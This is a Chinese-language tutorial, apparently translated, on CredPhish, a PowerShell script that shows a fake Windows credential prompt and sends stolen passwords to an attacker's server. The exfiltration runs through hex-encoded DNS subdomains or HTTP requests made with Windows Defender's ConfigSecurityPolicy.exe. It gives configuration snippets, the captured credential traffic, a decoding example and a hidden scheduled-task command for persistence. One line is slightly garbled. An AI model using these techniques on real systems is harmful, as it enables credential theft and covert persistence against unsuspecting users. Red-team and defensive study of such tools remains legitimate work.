如何使用 PowerShell 釣魚獲取用戶密碼
欺騙憑證提示是一種有效的權限提升和橫向移動技術。在 Windows 環境中遇到 Outlook、VPN 和各種其他身份驗證協議看似隨機的密碼提示并不罕見。攻擊者將濫用 Windows 和 PowerShell 中內置的功能來調用憑據彈出窗口來獲取用戶密碼。
根據MITRE ATT&CK 框架的定義 :
當執行需要額外權限的程序時……操作系統通常會提示用戶提供正確的憑據以授權任務的提升權限。攻擊者可能會模仿常見的操作系統組件,通過看似合法的提示來提示用戶輸入憑據……通過 PowerShell 等語言。”
什么是 CredPhish?
CredPhish 是一個 PowerShell 腳本,旨在調用憑據提示和泄露密碼。它依靠CredentialPicker API 來收集用戶密碼,依靠 PowerShell 的 Resolve-DnsName 進行 DNS滲漏,并依靠Windows Defender的 ConfigSecurityPolicy.exe 來執行任意 GET 請求。
下面是 CredPhish 的一個例子。請注意憑據在 Windows 安全提示中提交后立即傳送到攻擊者的 DNS 服務器。

默認情況下,CredPhish 將使用 Resolve-DnsName(PowerShell 內置的 DNS 解析器)來竊取憑據。它將憑據中的每個字符轉換為其各自的十六進制值,將轉換后的值分解為預定義的塊,并將這些塊放入流行網站的子域中。以下屏幕截圖是十六進制形式的泄露憑據示例。請注意 google.com 和 office.com 子域中“tokyoneon”(746f6b796f6e656f6e) 的十六進制值。

在解析 DNS 查詢之前,DNS 服務器將剝離十六進制子域以避免創建數十個錯誤響應。在下面的 Wireshark 屏幕截圖中,請注意“Answers”字段不再包含子域并成功解析為 Google 的 IP 地址之一。

CredPhish.ps1 配置
我將credphish.ps1設計 為一個獨立的腳本,不需要 Import-Module,這是一個常見的妥協指標。可配置選項以變量的形式位于 PS1 腳本的頂部,以避免冗長的命令行參數。
第一行是最重要的,因為它定義了泄露數據的交付位置(即攻擊者的 Kali 服務器)。
# exfil 地址 $exfilServer = "192.168.56.112"
接下來,幾個變量定義了提示將如何呈現給毫無戒心的目標用戶。在 $promptCaption 定義了“應用程序”請求用戶證書(例如,“微軟辦公室”)。并且 $promptMessage 通常指定與請求關聯的帳戶。
# prompt $targetUser = $ env : username $companyEmail = " blackhillsinfosec.com " $promptCaption = " Microsoft Office " $promptMessage = " Connecting to: $targetUser @ $companyEmail " $maxTries = 1 # 調用提示的最大次數 $ delayPrompts = 2 # 提示之間的秒數 $validateCredentials = $ false # 如果憑據有效,則中斷 $maxTries 并立即刪除
該 $maxTries 變量定義了在目標提交憑據之前提示出現的次數。為避免懷疑, 1 是默認值。該 $delayPrompts 變量定義了每個提示之間的秒數(如果 $maxTries 大于 1)。并且 $validateCredentials,默認情況下禁用,將嘗試Start-Process 在提升的上下文中使用本地驗證提交的憑據 。如果啟用并驗證憑據, $maxTries 則會被忽略,并且數據會立即發送到攻擊者的服務器。
過濾方法
如前所述,DNS 外泄是將密碼傳送到攻擊者服務器的默認方法。 $exfilDomains 列表包括用于 DNS 查詢并隨機選擇的各種域。該 $subdomainLength 變量決定了每個子域的所需長度。
#域名解析 # 在kali中啟動dns服務器:python3 /path/to/credphish/dns_server.py $ enableDnsExfil = $真 $ exfilDomains = @(' .microsoft.com ', ' .google.com ', ' .office.com ', ' .live.com ')的DNS exfil#域 $ randomDelay = GET隨機 -最小5 -最大20 # dns 查詢之間的延遲 $subdomainLength = 6 # 子域中的最大字符數。必須是 2-60 之間的偶數,否則查詢會中斷
要攔截使用 DNS 過濾功能發送的憑據,請 在 Kali 中執行 dns_server.py腳本。按 Ctrl + c 終止 DNS 服務器,它將以明文形式重建攔截的憑據。

CredPhish 中內置的另一種滲漏方法是 HTTP 請求方法。它利用Windows Defender 中包含的二進制文件“ ConfigSecurityPolicy.exe ”向攻擊者的服務器提供憑據。將 $enableHttpExfil 變量設置 $true 為啟用它。
# http # 在 kali 中啟動 http 服務器:python3 -m http.server 80 $enableHttpExfil = $false $ConfigSecurityPolicy = " C:\Prog*Files\Win*Defender\ConfigSecurityPolicy.exe "
要攔截使用 發送的憑據 ConfigSecurityPolicy.exe,請在 Kali 中啟動一個簡單的 HTTP 服務器以在日志中捕獲它們。

在網絡上,泄露的憑據將顯示如下:
GET /DESKTOP-S4DAAF0%5Btokyoneon%3A%23!Extr3m3Ly_%26ecuRe-P%40ssw%25rD%23%5D HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla /4.0(兼容;MSIE 7.0;Windows NT 10.0;Win64;x64;Trident/7.0;.NET4.0C;.NET4.0E) 主機:192.168.56.104 連接:Keep-Alive
由于憑證在傳輸前經過 URL 編碼,因此使用 Burp 的解碼器模塊觀察數據或使用 Python 的 urllib 庫通過命令行進行 URL 解碼。

>>> from urllib.parse import unquote
>>> unquote ("/DESKTOP-S4DAAF0%5Btokyoneon%3A%23!Extr3m3Ly_%26ecuRe-P%40ssw%25rD%23%5D") '/DESKTOP-S4DAAF0[tokyoneon:# !Extr3m3Ly_& ecuRe-P@ssw %rD#]'
CredPhish.ps1 執行
要快速測試 CredPhish,請將 移動 credphish.ps1 到目標 Windows 10 計算機并使用 PowerShell 執行它。 
一種持久的執行方法可能涉及 Task Schedtokyoneon //uler,它是 Windows 的一個組件,它提供了以預定義的時間間隔安排腳本執行的能力。下面的 schtasks 示例將credphish.ps1 每 2 分鐘執行 一次。
schtasks /create /sc minute /mo 2 /tn "credphish" /tr "powershell -ep bypass -WindowStyle Hidden C:\path\to\credPhish\credphish.ps1"